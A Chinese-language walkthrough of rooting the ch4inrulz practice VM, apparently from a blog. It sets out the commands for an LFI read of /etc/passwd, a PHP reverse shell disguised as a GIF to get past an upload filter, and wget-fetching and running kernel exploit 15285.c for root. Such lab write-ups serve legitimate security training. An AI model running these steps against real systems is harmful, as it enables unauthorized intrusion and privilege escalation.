导语:我将做一个靶机渗透实战系列,废话不多说,直奔主题,我们今天的靶机是ch4inrulz
大家好,从本篇文章开始,我将做一个靶机渗透实战系列,废话不多说,直奔主题,我们今天的靶机是ch4inrulz,靶机下载地址在这里。
这次靶机实战的目的是获取root权限并入读flag中的信息。
本次实验难度适中,没有缓冲区溢出漏洞,也不需要我们进行exp编写,但是也能让我们进行一些思考。
首先说下这个靶机渗透的几个步骤:
1. 端口扫面和确定IP地址
2. 80端口目录遍历
3. 8011端口目录遍历
4. 寻找LFI漏洞
5. 发现HTML备份文件
6. 破解密码hash
7. 登录开发页面
8. 上传伪装成GIF图片的PHP shell
9. 绕过检查,利用LFI漏洞获取nc shell
10. 提权并获取flag信息
好了,现在开始搞事情
首先,按照常规套路,使用netdiscover工具进行网络扫描来发现靶机的IP地址。在我这个例子中,IP是192.168.1.103,如图:
找到IP之后,我们就用nmap来进行端口扫描
可以看到开放了21,22,80,8011端口。既然开了80端口,那我们就用浏览器访问以下,可以看到一个主页,看起来像是一份简历,如图:
探索一番,没有发现什么东西,那我们就进行目录遍历,这里使用kali自带的dirb工具,如图:
发现了robots.txt文件,不过也没有什么东西。另外一个目录是/development,这个目录有点意思,访问这个目录,弹框要求进行身份验证,应该是一个测试页面。
因为我们现在没有凭证,所以只能先放着,看看一会儿是否会有收获。
我们再来看看8011端口,直接访问主页也没什么东西,好像是一个后端开发部署页面,如图:
我们还是用dirb进行目录遍历,如图:
发现了一个/api目录,凭经验,这个目录肯定有线索,直接访问,得到如下内容:
把这几个目录挨个访问以下,发现只有files_api.php有用,访问后内得到如下页面:
意思就是没有传递file参数。这么一说,很明显是要我们传递file参数,那我们直接在URL后面添加file参数,请求URL如下:
192.168.1.103:8011/api/files_api.php?file=/etc/passwd
结果如图:
然而并没有卵用,显示输入错误,还把IP给记录下来了。通常情况下,既然get方式传参不行,那我们试一下post传参,我们使用curl工具来实现,命令如下:
curl – X POST –d "file=/etc/passwd" http://192.168.1.103:8011/api/files_api.php
可以看到,我们读取到了/etc/passwd,证明存在LFI本地包含漏洞。
针对这个LFI漏洞,我们尝试了一些方法,但是都无果。
同时,有个现象引起了我的注意,就是这个开发服务器。有一个开发页面,一个开发服务器,肯定不止一个HTML文件,所以大胆猜测它应该有HTML备份文件,通常HTML备份文件都是index.html.bak,我们尝试去访问以下,弹出了一个下载页,哈哈,瞎猫碰上了死耗子。
我们将它保存下来,并且用cat命令读取内容:
太好了,可以看到存在密码hash,那还等什么,赶紧把hash值拷到hash.txt文件中,然后用John the Ripper进行破解:
破解出来是frank:frank!!!
这应该就是/development弹框时的用户名和密码了,我们登录试试:
果不其然,我们登录进来了,如图:
页面信息告诉我们,这个上传工具只完成了一半,那我们进入这个uploader看看,如图:
竟然是一个文件上传页,这里对文件上传类型做了限制,只允许上传jpg,png和gif,文件大小也做了限制。
看看如何来绕过限制?
我是这么做的,切换到kali自带的webshell目录下,也就是/usr/share/webshells/php,找到php反弹shell的文件php-reverse-shell.php,用编辑器打开该文件,在文件第一行插入gif图标志GIF98,并且保存为shell.gif图片格式,如图:
这么做就可以让uploader验证机制认为这是一个正常的图片,而实际上,却是PHP反弹shell文件。
现在我们便使用uploader将图片上传到服务器,收到如下响应:
信息表明,文件已经成功上传到我的uploads路径下。
现在我们把目前收集到的信息小小总结回顾一下:
网站名:Frank’s website
Uploader名:Frank uploader
网站第一条信息:I love patterns
这里猜测上传路径花了一些时间,不过最后还是猜出来了,上传目录应该就是frank uploads。但是具体的大小写并不清楚,所以我们尝试了很多遍,如Frankupload,frankUploads,franksuploads等等,最后试出来的是FRANKuploads。
这一步笔记枯燥也很费时间,但是也没有别的办法能够直接爆出路径,现在我们访问这个路径来看下:
现在万事具备,只欠触发这个伪装成gif的PHP后门。直接访问肯定是没用的,我们还是通过curl这个工具来发起请求:
curl –X POST –d "file=/var/www/development/uploader/FRANKuploads/shell.gif" http://192.168.1.103:8011/api/files_api.php
同时,我们在本机使用nc监听1234端口(跟反弹shell的PHP文件保持一样),如图:
nc -lvp 1234
一旦curl触发LFI漏洞,向shell.gif发起请求,很快我们就获得了一个nc会话!如图所示,我们用id命令来查看用户信息,并且使用了python命令来进入服务器的bash shell,
Python –c 'import pty;pty.spawn("/bin/bash");'
进入到服务器的shell后,我们使用uname –a命令来查看下系统内核版本,如上图可以看出版本是Linux2.6.35,Google一下可以知道这个版本存在漏洞,对应的提权exp是15285.c。
我们在kali中利用searchsploit工具搜索一下这个exp,然后执行下列操作:
searchsploit 15285
cd Desktop
cp /usr/share/exploitdb/exploits/linux/local/15285.c .
python –m SimpleHTTPServer 80
这几条命令的意思是,搜索15285这个exp,切换到桌面,将exp拷贝到桌面,然后以桌面为网站绝对路径开启HTTP服务。
接着,在我们刚刚利用nc获取到的shell中来下载这个exp,也就是下载到目标机上,编译exp并执行,得以提权成功,执行的命令如下:
cd tmp
wget http://192.168.1.107/15285.c
gcc 15285.c –o 15285
chmod 777 15285
./15285
执行之后我们便获得了root权限,cd到root,便可以看到flag文件,读取到flag文件内容,如图:
本次靶机实验到此结束,各位白帽子们也可以下载靶机玩耍。